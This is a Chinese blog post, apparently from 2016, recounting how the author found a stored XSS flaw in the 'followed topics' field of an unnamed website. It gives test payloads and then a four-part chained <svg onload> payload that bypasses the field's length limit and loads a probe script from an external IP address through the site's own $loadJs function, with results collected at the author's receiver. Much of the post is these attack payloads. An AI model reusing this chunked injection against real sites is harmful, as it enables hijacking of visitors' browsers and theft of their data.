美文网首页
同一输入点的累计输入,构造完整XSS语句

同一输入点的累计输入,构造完整XSS语句

作者: 就是爱文艺 | 来源:发表于2016-07-19 10:02 被阅读156次

某站 添加“我关注的话题”处,存在XSS

在个人主页处点击添加话题,写入XSS测试 : <script>alert(1)</script>

1.png

点击确定后,页面无明显变化,在点击删除时才触发了弹窗:

2.png

此处用script标签触发条件较为苛刻。换用img标签再次测试:<img src=a onerror=alert(1)>

3.png

点击确定后,直接触发了弹窗:

4.png

接下来,就要尝试引入外部JS文件了。由于输入框有字数限制,无法一次性引入js文件,庆幸的是此处输入可以累计添加,后面的输入不会覆盖掉前面的。在引用通用的payload 时,又遇到了另一个问题,那就是即使截取成最短的长度,中间一句还是超过长度限制,这个时候就需要再考虑对方网站架构,观察js框架,最后找到了$loadJs()--> 对方网站的js api 。直接调用就好啦~~~
下面 分四次添加这段xs代码:
<svg onload="b='http://123'">
<svg onload="b+='.206.93.11'">
<svg onload="b+='/probe.js'">
<svg onload="$loadJs(b)">

5.png 6.png 7.png 8.png

添加完成后,刷新页面,在接收端即可收到信息:


9.png

相关文章

  • 同一输入点的累计输入,构造完整XSS语句

    某站 添加“我关注的话题”处,存在XSS 在个人主页处点击添加话题,写入XSS测试 : alert(1) 点击确...

  • weBug 4.0 第10关 存储型xss

    先找输入点,直接滑到最下面,有一个留言。直接测试 alert(/xss/) 。提交后弹窗。依旧构造 alert(d...

  • PHP面试(三)

    XSS攻击是什么 常见的 XSS 输入XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框: ale...

  • python 的基础语法

    缩进 python注释 python等待用户输入 同一行显示多条语句 输入结果为:runoob Print 输出 ...

  • Pikachu漏洞平台---XSS(Cross-Site Scr

    Pikachu Vul XSS 1.反射型XSS(get)随便输入,可以发现没有任何过滤,只是限制了输入字符的长度...

  • weBug 4.0 第13关 过滤xss

    输入点在http://192.168.1.103/control/xss/filter_xss.php?id=1。...

  • 互联网安全

    3.1 常见的Web攻击手段 3.1.1 XSS攻击 XSS 的原理将用户的 输入项 中嵌入脚本。例如将输入nam...

  • XSS

    XSS攻击 反射型XSS只是简单的把用户的输入反射给浏览器。一般要构造一个恶意的URL,然后诱使用户去点击,这样才...

  • for语句输入

    package HspLearning; public class For02 {public static vo...

  • Flask-Jinjia2模板字符串过滤器

    禁止转义过滤器-safe xss_test.py文件 xss.html文件 运行flask程序后,在输入框输入 a...

网友评论

      本文标题:同一输入点的累计输入,构造完整XSS语句

      本文链接:https://www.haomeiwen.com/subject/sajmjttx.html